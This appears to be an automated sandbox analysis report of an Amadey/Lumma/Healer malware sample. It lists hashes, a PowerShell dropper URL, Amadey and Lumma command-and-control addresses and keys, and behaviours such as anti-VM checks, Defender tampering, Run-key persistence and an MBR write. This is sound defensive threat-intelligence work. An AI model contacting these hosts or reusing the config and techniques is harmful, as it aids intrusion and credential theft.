amadey | f3d7546937b4791736e3f2182526a0ac22d47060cce53c4ab8e439b65742127b

Analysis

max time kernel
150s
max time network
150s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
29/03/2025, 12:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
Size

938KB
MD5

5ec95a42b16d80c72d17cc6d0bac58de
SHA1

9cfd9221606e1acfef1ea5f6f4bf88080822d5db
SHA256

f3d7546937b4791736e3f2182526a0ac22d47060cce53c4ab8e439b65742127b
SHA512

ca64237e9b54295b3162e26808d6c9acbef0640a996534425e21898b456e5117142bfe4d30473d2573ef42d08f0a85475d1cab63153e7b1b573011f67f735f0b
SSDEEP

24576:dqDEvCTbMWu7rQYlBQcBiT6rprG8a0Xu:dTvC/MTQYxsWR7a0X

Score

10^/10

amadey gcleaner healer lumma 092155 bootkit defense_evasion discovery dropper execution exploit loader persistence spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

http://176.113.115.6

Attributes

install_dir
bb556cff4a
install_file
rapes.exe
strings_key
a131b127e996a898cd19ffb2d92e481b
url_paths
/Ni9kiput/index.php

rc4.plain

Extracted

Family

lumma

https://advennture.top/GKsiio

https://byteplusx.digital/aXweAX

https://travewlio.shop/ZNxbHi

https://skynetxc.live/AksoPA

https://pixtreev.run/LkaUz

https://targett.top/dsANGt

https://sparkiob.digital/KeASUp

https://appgridn.live/LEjdAK

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey

Detects Healer an antivirus disabler dropper 2 IoCs

resource	yara_rule
behavioral1/memory/3712-1493-0x0000000000C80000-0x00000000010C0000-memory.dmp	healer
behavioral1/memory/3712-1494-0x0000000000C80000-0x00000000010C0000-memory.dmp	healer

GCleaner
GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.
loader gcleaner
Gcleaner family
gcleaner
Healer
Healer an antivirus disabler dropper.
dropper healer
Healer family
healer
Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 13 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	a15cbf8e3b.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	6670879e0c.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	b4d5361804.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	52a22fd820.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	c4f793a08b.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempDJJLREASWMUCME3IDTC0QANBN5SBIMDA.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	72befb47b5.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	70cff591f9.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	133e8807ac.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempIVUBD6YRYU8VPJ2XTX6YBM5HWIITTJON.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	f96f54807c.exe

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	1712	powershell.exe
54	3028	powershell.exe
56	2460	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1712	powershell.exe
3028	powershell.exe
2460	powershell.exe
1084	powershell.exe
2628	powershell.exe
848	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Downloads MZ/PE file 24 IoCs

flow	pid	Process
8	2652	rapes.exe
32	2724	futors.exe
55	2724	futors.exe
161	2064	svchost015.exe
28	2724	futors.exe
23	2724	futors.exe
23	2724	futors.exe
62	2652	rapes.exe
77	2652	rapes.exe
160	3020	svchost015.exe
35	2652	rapes.exe
56	2460	powershell.exe
7	2652	rapes.exe
7	2652	rapes.exe
47	2616	svchost015.exe
53	2652	rapes.exe
53	2652	rapes.exe
11	2652	rapes.exe
4	1712	powershell.exe
24	2724	futors.exe
27	2652	rapes.exe
39	2652	rapes.exe
44	2652	rapes.exe
54	3028	powershell.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
1044	takeown.exe
712	icacls.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks BIOS information in registry 2 TTPs 26 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	72befb47b5.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	70cff591f9.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	133e8807ac.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	483d2fa8a0d53818306efeb32d3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	52a22fd820.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	f96f54807c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempDJJLREASWMUCME3IDTC0QANBN5SBIMDA.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	a15cbf8e3b.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	a15cbf8e3b.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempIVUBD6YRYU8VPJ2XTX6YBM5HWIITTJON.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	483d2fa8a0d53818306efeb32d3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	6670879e0c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	b4d5361804.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	72befb47b5.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	133e8807ac.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempIVUBD6YRYU8VPJ2XTX6YBM5HWIITTJON.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	b4d5361804.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	52a22fd820.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	c4f793a08b.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempDJJLREASWMUCME3IDTC0QANBN5SBIMDA.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	70cff591f9.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	6670879e0c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	f96f54807c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	c4f793a08b.exe

Executes dropped EXE 41 IoCs

pid	Process
2808	TempDJJLREASWMUCME3IDTC0QANBN5SBIMDA.EXE
2652	rapes.exe
1924	72befb47b5.exe
1096	apple.exe
2108	22.exe
1084	22.exe
2740	hYjiwV0.exe
2036	amnew.exe
2724	futors.exe
1972	a15cbf8e3b.exe
2000	gron12321.exe
2616	svchost015.exe
1728	Rm3cVPI.exe
2128	v7942.exe
1388	70cff591f9.exe
1940	alex1dskfmdsf.exe
1028	TbV75ZR.exe
3060	Bell_Setup16.exe
3064	Bell_Setup16.tmp
1720	Bell_Setup16.exe
2456	Bell_Setup16.tmp
684	hYjiwV0.exe
2392	EPTwCQd.exe
1252	7IIl2eE.exe
1708	Passwords.com
848	bot.exe
2000	u75a1_003.exe
2632	jokererer.exe
2916	133e8807ac.exe
2680	07f8d95d4d.exe
3020	svchost015.exe
2196	TempIVUBD6YRYU8VPJ2XTX6YBM5HWIITTJON.EXE
2212	37697ed437.exe
572	483d2fa8a0d53818306efeb32d3.exe
1592	6670879e0c.exe
2064	svchost015.exe
2856	b4d5361804.exe
2060	52a22fd820.exe
572	f96f54807c.exe
1632	c79f7c44bc.exe
3712	c4f793a08b.exe

Identifies Wine through registry keys 2 TTPs 13 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Wine	b4d5361804.exe
Key opened	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Wine	72befb47b5.exe
Key opened	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Wine	a15cbf8e3b.exe
Key opened	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Wine	133e8807ac.exe
Key opened	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Wine	TempIVUBD6YRYU8VPJ2XTX6YBM5HWIITTJON.EXE
Key opened	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Wine	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Wine	52a22fd820.exe
Key opened	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Wine	f96f54807c.exe
Key opened	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Wine	c4f793a08b.exe
Key opened	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Wine	TempDJJLREASWMUCME3IDTC0QANBN5SBIMDA.EXE
Key opened	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Wine	70cff591f9.exe
Key opened	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Wine	6670879e0c.exe

Loads dropped DLL 64 IoCs

pid	Process
1712	powershell.exe
1712	powershell.exe
2808	TempDJJLREASWMUCME3IDTC0QANBN5SBIMDA.EXE
2808	TempDJJLREASWMUCME3IDTC0QANBN5SBIMDA.EXE
2652	rapes.exe
2652	rapes.exe
2652	rapes.exe
1096	apple.exe
1096	apple.exe
1096	apple.exe
1096	apple.exe
2652	rapes.exe
2652	rapes.exe
2316	WerFault.exe
2316	WerFault.exe
2316	WerFault.exe
2316	WerFault.exe
2652	rapes.exe
2036	amnew.exe
2652	rapes.exe
2652	rapes.exe
2724	futors.exe
2724	futors.exe
2704	WerFault.exe
2704	WerFault.exe
2704	WerFault.exe
2704	WerFault.exe
1972	a15cbf8e3b.exe
2652	rapes.exe
2652	rapes.exe
2724	futors.exe
2724	futors.exe
2496	WerFault.exe
2496	WerFault.exe
2496	WerFault.exe
2496	WerFault.exe
2652	rapes.exe
2652	rapes.exe
2724	futors.exe
2724	futors.exe
2676	WerFault.exe
2676	WerFault.exe
2676	WerFault.exe
2676	WerFault.exe
2652	rapes.exe
2652	rapes.exe
1560	WerFault.exe
1560	WerFault.exe
1560	WerFault.exe
1560	WerFault.exe
2724	futors.exe
3060	Bell_Setup16.exe
3064	Bell_Setup16.tmp
3064	Bell_Setup16.tmp
3064	Bell_Setup16.tmp
1720	Bell_Setup16.exe
2456	Bell_Setup16.tmp
2456	Bell_Setup16.tmp
2816	regsvr32.exe
2652	rapes.exe
2652	rapes.exe
316	WerFault.exe
316	WerFault.exe
316	WerFault.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1044	takeown.exe
712	icacls.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 8 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Windows\CurrentVersion\Run\52a22fd820.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10369220101\\52a22fd820.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Windows\CurrentVersion\Run\f96f54807c.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10369230101\\f96f54807c.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Windows\CurrentVersion\Run\c79f7c44bc.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10369240101\\c79f7c44bc.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Windows\CurrentVersion\Run\c4f793a08b.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10369250101\\c4f793a08b.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Windows\CurrentVersion\Run\133e8807ac.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10043950101\\133e8807ac.exe"	futors.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Windows\CurrentVersion\Run\07f8d95d4d.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10369180101\\07f8d95d4d.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Windows\CurrentVersion\Run\am_no.cmd = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10369190121\\am_no.cmd"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Windows\CurrentVersion\Run\6670879e0c.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10043960101\\6670879e0c.exe"	futors.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	72befb47b5.exe

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x000500000001ad6c-1094.dat	autoit_exe
behavioral1/files/0x000500000001c8b2-1296.dat	autoit_exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
924	tasklist.exe
1484	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 13 IoCs

pid	Process
2808	TempDJJLREASWMUCME3IDTC0QANBN5SBIMDA.EXE
2652	rapes.exe
1924	72befb47b5.exe
1972	a15cbf8e3b.exe
1388	70cff591f9.exe
2916	133e8807ac.exe
2196	TempIVUBD6YRYU8VPJ2XTX6YBM5HWIITTJON.EXE
572	483d2fa8a0d53818306efeb32d3.exe
1592	6670879e0c.exe
2856	b4d5361804.exe
2060	52a22fd820.exe
572	f96f54807c.exe
3712	c4f793a08b.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1972 set thread context of 2616	1972	a15cbf8e3b.exe	119
PID 2916 set thread context of 3020	2916	133e8807ac.exe	166
PID 1592 set thread context of 2064	1592	6670879e0c.exe	187

Drops file in Program Files directory 46 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Windows Defender\it-IT\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\MpOAV.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MpClient.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MsMpCom.dll	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\en-US\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\ja-JP\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MpOAV.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MpSvc.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MsMpRes.dll	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\es-ES\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MpCommu.dll	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\MsMpLics.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\en-US\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\en-US\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MpCmdRun.exe	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\en-US\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\MpAsDesc.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MpAsDesc.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MpEvMsg.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MpRTP.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MSASCui.exe	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\en-US\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\de-DE\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\fr-FR\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\fr-FR\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\it-IT\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\de-DE\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\es-ES\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\ja-JP\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\MpClient.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MsMpLics.dll	cmd.exe

Drops file in Windows directory 15 IoCs

description	ioc	Process
File opened for modification	C:\Windows\WallpapersHo	7IIl2eE.exe
File opened for modification	C:\Windows\DiscussedFacial	7IIl2eE.exe
File opened for modification	C:\Windows\GentleLogging	7IIl2eE.exe
File opened for modification	C:\Windows\SpecificsHeaven	7IIl2eE.exe
File opened for modification	C:\Windows\ProvidingMilwaukee	7IIl2eE.exe
File opened for modification	C:\Windows\JenniferSubdivision	7IIl2eE.exe
File opened for modification	C:\Windows\BrandonStat	7IIl2eE.exe
File opened for modification	C:\Windows\PotteryUser	7IIl2eE.exe
File opened for modification	C:\Windows\LogisticsNotre	7IIl2eE.exe
File opened for modification	C:\Windows\EstateLegislative	7IIl2eE.exe
File opened for modification	C:\Windows\RowTopics	7IIl2eE.exe
File created	C:\Windows\Tasks\rapes.job	TempDJJLREASWMUCME3IDTC0QANBN5SBIMDA.EXE
File created	C:\Windows\Tasks\futors.job	amnew.exe
File opened for modification	C:\Windows\CorrectionsGeographic	7IIl2eE.exe
File opened for modification	C:\Windows\EnglandDeleted	7IIl2eE.exe

Launches sc.exe 38 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
964	sc.exe
2996	sc.exe
900	sc.exe
1496	sc.exe
2436	sc.exe
2000	sc.exe
2816	sc.exe
2020	sc.exe
2272	sc.exe
2168	sc.exe
1660	sc.exe
1944	sc.exe
2600	sc.exe
1532	sc.exe
2660	sc.exe
2336	sc.exe
1700	sc.exe
348	sc.exe
356	sc.exe
876	sc.exe
2064	sc.exe
1480	sc.exe
880	sc.exe
3068	sc.exe
2012	sc.exe
764	sc.exe
2772	sc.exe
2992	sc.exe
1560	sc.exe
568	sc.exe
2648	sc.exe
2624	sc.exe
1848	sc.exe
1896	sc.exe
2160	sc.exe
796	sc.exe
2744	sc.exe
988	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1484	1388	WerFault.exe	123

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f96f54807c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	amnew.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	extrac32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Passwords.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	22.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c79f7c44bc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	apple.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost015.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a15cbf8e3b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	70cff591f9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost015.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bell_Setup16.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	c79f7c44bc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	133e8807ac.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	b4d5361804.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	52a22fd820.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c4f793a08b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	6670879e0c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	futors.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Rm3cVPI.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	07f8d95d4d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bell_Setup16.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost015.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CMD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7IIl2eE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
